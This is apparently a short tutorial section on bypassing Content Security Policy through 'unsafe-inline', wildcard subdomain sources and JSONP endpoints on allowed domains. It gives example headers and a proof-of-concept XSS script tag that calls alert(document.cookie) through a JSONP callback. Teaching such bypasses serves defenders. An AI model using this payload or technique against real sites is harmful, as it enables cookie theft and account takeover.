1 CSP Bypasses: unsafe-inline, Wildcards, and JSONP
A Content Security Policy is a defense-in-depth header that restricts script execution. However, common misconfigurations make it trivially bypassable.
unsafe-inline bypass:
Content-Security-Policy: script-src 'self' 'unsafe-inline'This allows inline scripts and event handlers. Any XSS that injects an inline script will execute, defeating the purpose of CSP entirely.
Wildcard script source bypass:
Content-Security-Policy: script-src 'self' https://*.example.comIf the attacker can upload a file to any subdomain of example.com (like static.example.com), they can include it as a script from an allowed origin.
JSONP endpoint bypass:
Content-Security-Policy: script-src 'self' https://apis.google.com<!-- apis.google.com has JSONP endpoints -->
<script src="https://apis.google.com/oauth2?callback=alert(document.cookie)"></script>
<!-- Output: alert(document.cookie)(data) — XSS via allowed domain! -->